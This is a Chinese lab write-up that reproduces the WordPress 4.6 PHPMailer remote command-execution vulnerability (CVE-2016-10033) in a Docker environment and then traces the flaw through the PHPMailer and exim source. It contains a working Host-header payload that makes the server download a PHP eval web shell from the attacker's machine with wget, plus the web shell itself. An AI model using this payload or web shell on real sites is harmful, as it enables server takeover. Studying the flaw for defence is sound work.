深入分析WordPress4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)
郑重声明:本文章内容仅供学习研究使用,请勿用于任何其他用途,本人不承担任何责任。
WordPress4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)
漏洞版本
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
漏洞概述
WordPress会使用PHPMailer组件发送邮件,攻击者在找回密码时通过PHPMailer组件发送重置密码的邮件,利用substr,run等函数构造payload,可造成命令执行漏洞。
实验环境及搭建
靶机:ubuntu192.168.218.128中的docker环境wordpress4.6, apache版本2.4.7,php版本5.5.9
攻击机:windows10,192.168.218.1
攻击机web服务:ubuntu192.168.218.128靶机上python开启web服务
实验过程
进入到vulhub项目下的wordpress模块,启动靶机环境sudo docker-compose up -d
,查看docker启动情况
命令sudo docker exec -it pwnscriptum_web_1 /bin/bash
进入pwnscriptum_web_1
容器查看apache和php版本分别为2.4.7和5.5.9
访问192.168.218.128:8080初始化wordpress
搭建完后访问8080端口,搭建成功
先将一句话木马文件shell.php
放到ubuntu里并用python对外提供web服务sudo python3 -m http.server 80
<?php eval($_POST['cmd']); ?>
payload构造
攻击payload
target(any -froot@localhost -be ${run{$payload}} null)
其中的$payload
原型
/usr/bin/wget --output-document /var/www/html/jgcshell.php 192.168.218.128/shell.php
需要对payload进行转换
所有
/
用${substr{0}{1}{$spool_directory}}
代替所有
空格
用${substr{10}{1}{$tod_log}}
代替
${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}jgcshell.php${substr{10}{1}{$tod_log}}192.168.218.128${substr{0}{1}{$spool_directory}}shell.php
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}jgcshell.php${substr{10}{1}{$tod_log}}192.168.218.128${substr{0}{1}{$spool_directory}}shell.php}} null)
访问http://192.168.218.128:8080/wp-login.php?action=lostpassword
,来到忘记密码界面。
填入邮箱有用burp抓包,将Host字段改成攻击payload
发包之后进入docker中,发现jgcshell.php已经被下载下来了
用蚁剑链接jgcshell.php文件
原理分析
将docker中的wordpress源码拷贝出来sudo docker cp pwnscriptum_web_1:/var/www/html /home/jgc/code
根据忘记密码页面的urlwp-login.php?action=lostpassword
定位到wp-login.php
的retrieve_password
函数,此函数是对密码的操作函数。
此函数中对用户输入进行处理后,最后通过以下代码发送邮件
function retrieve_password() {
......
$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );
if ( $message && !wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) )
wp_die( __('The email could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );
return true;
}
跟进wp_mail
函数,定位到/wp-includes/pluggable.php
函数中其中关于host的设置如下
if ( !isset( $from_name ) )
$from_name = 'WordPress';
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
$from_email = apply_filters( 'wp_mail_from', $from_email );
$from_name = apply_filters( 'wp_mail_from_name', $from_name );
$phpmailer->setFrom( $from_email, $from_name );
根据代码可以看出wordpress基于$_SERVER['SERVER_NAME']
来构造$from_email
发送邮件的域,前面拼接上wordpress@
$_SERVER['SERVER_NAME']
参数是通过请求头Host
字段传入,并且这里只是简单的使用substr
去掉了前面的www.
,没有任何过滤措施。
在docker中添加a.php代码来查看$_SERVER['SERVER_NAME']
的值
<?php
if (isset($_SERVER['SERVER_NAME'])){
echo $_SERVER['SERVER_NAME'];
}else{
echo "no value";
}
?>
在下图中看到就是Host字段的值
接着跟进setFrom
函数,定位到wp-includes/class-phpmailer.php
,发现其用到了PHPMailer组件
setFrom
函数如下,这个函数对数据进行校验,没问题的话设置Sender变量为address变量的值
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . $address;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
其中validateAddress()
函数在同文件下,函数前半部分如下
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
经过测试发现$patternselect
变量被设置为pcre8,因此在函数后面执行如下代码中的pcre8的case
switch ($patternselect) {
case 'pcre8':
...
case 'pcre':
...
case 'html5':
...
case 'noregex':
...
case 'php':
default:
...
}
pcre8的代码注释
Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
基于php内置的邮箱验证的基础上做的修改
php
Use PHP built-in FILTER_VALIDATE_EMAIL;
查阅php官网
这个验证方式允许使用括号或双引号使邮箱地址包含空格,因此在Hosts字段构造的发件人的邮箱可以是
target(any -froot@localhost -be ${run{$payload}} null)@qq.com
经过验证和过滤之后的函数调用
$phpmailer
=>Send() wp-includes/pluggable.php#471
=>postSend() wp-includes/class-phpmailer.php#1125
=>mailSend() wp-includes/class-phpmailer.php#1247
=>mailPassthru() wp-includes/class-phpmailer.php#1368
将payload传入到mailPassthru()
函数中,函数代码如下
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
由于没有开启安全模式,因此调用的是$result = @mail($to, $subject, $body, $header, $params);
@mail
是调用原生的mail()
,在/wp-includes/class-phpmailer.php
中定义
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
查阅php手册
mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): bool
对第五个参数有如下描述
The
additional_params
parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by thesendmail_path
configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the-f
sendmail option.This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
‘additional_params’参数可用于将附加标志作为命令行选项传递给配置为在发送邮件时使用的程序,如’ sendmail_path ‘配置设置所定义的那样。例如,当使用带有’-f’ sendmail选项的sendmail时,可以使用它来设置信封发送者地址。
该参数通过escapeshellcmd()在内部转义,以防止命令执行。escapeshellcmd()阻止命令的执行,但是允许添加额外的参数。出于安全考虑,建议用户对该参数进行消毒,以避免向shell命令添加不必要的参数。
实际上phpmailer组件是调用linux系统命令sendmail
进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname
mail() 执行后,会执行这样的指令 sendmail -t -i -fwordpress@过滤后的数据包头中的Host字段值
另外sendmail
符号链接到exim4
,exim4
的-be
参数能开启字符串扩展测试模式,允许提取一些变量数据
$tod_log
返回系统时间,$spool_directory
返回路径值/var/spool/exim4
,因此可以用${substr{10}{1}{$tod_log}}
代替空格、${substr{0}{1}{$spool_directory}}
代替斜杠来绕过-be
后面参数中空格和斜杠,以及run
可以运行程序
因此上面提到的payload
target(any -froot@localhost -be ${run{$payload}} null)
最后变成
sendmail -t -i -fwordpress@target(any -froot@localhost -be ${run{$payload}} null)
这样就可以执行run中的命令
如果直接在命令行里使用,需要给run加引号
参考链接
sendmail.sendmail(8) - Linux man page
WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 - 先知社区 (aliyun.com)
- 点赞
- 收藏
- 关注作者
评论(0)